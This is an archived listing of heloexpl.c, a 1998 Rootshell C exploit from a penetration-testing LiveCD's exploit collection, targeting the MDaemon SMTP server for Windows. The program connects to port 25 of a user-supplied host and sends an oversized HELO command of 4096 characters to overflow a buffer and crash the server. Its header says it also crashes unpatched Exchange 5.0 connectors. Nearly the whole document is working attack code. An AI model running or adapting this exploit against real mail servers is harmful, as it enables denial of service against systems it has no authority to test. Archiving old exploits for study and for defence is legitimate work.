home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mdaemon / heloexpl.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  1.5 KB  |  69 lines
  1. /* 
  2.  * MDaemon SMTP server for Windows buffer overflow exploit 
  3.  * 
  4.  * http://www.mdaemon.com - if you dare... 
  5.  * 
  6.  * Tested on MDaemon 2.71 SP1 
  7.  * 
  8.  * http://www.rootshell.com/ 
  9.  * 
  10.  * Released 3/10/98 
  11.  * 
  12.  * (C) 1998 Rootshell All Rights Reserved 
  13.  * 
  14.  * For educational use only. Distribute freely. 
  15.  * 
  16.  * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
  17.  * connector if SP2 has NOT been installed. 
  18.  * 
  19.  * Danger! 
  20.  * 
  21.  * A malicous user could use this bug to execute arbitrary code on the 
  22.  * remote system. 
  23.  * 
  24.  */ 
  25.  
  26.  
  27. #include <stdio.h> 
  28. #include <sys/socket.h> 
  29. #include <netinet/in.h> 
  30. #include <netdb.h> 
  31. #include <string.h> 
  32. #include <stdlib.h> 
  33. #include <unistd.h> 
  34.  
  35.  
  36. void main(int argc, char *argv[]) 
  37. { 
  38.   struct sockaddr_in sin; 
  39.   struct hostent *hp; 
  40.   char *buffer; 
  41.   int sock, i; 
  42.  
  43.  
  44.   if (argc != 2) { 
  45.     printf("usage: %s <smtp server>\n", argv[0]); 
  46.     exit(1); 
  47.   } 
  48.   hp = gethostbyname(argv[1]); 
  49.   if (hp==NULL) { 
  50.     printf("Unknown host: %s\n",argv[1]); 
  51.     exit(1); 
  52.   } 
  53.   bzero((char*) &sin, sizeof(sin)); 
  54.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  55.   sin.sin_family = hp->h_addrtype; 
  56.   sin.sin_port = htons(25); 
  57.   sock = socket(AF_INET, SOCK_STREAM, 0); 
  58.   connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  59.   buffer = (char *)malloc(10000); 
  60.   sprintf(buffer, "HELO "); 
  61.   for (i = 0; i<4096; i++) 
  62.     strcat(buffer, "x"); 
  63.   strcat(buffer, "\r\n"); 
  64.   write(sock, &buffer[0], strlen(buffer)); 
  65.   close(sock); 
  66.   free(buffer); 
  67. } 
  68.  
  69.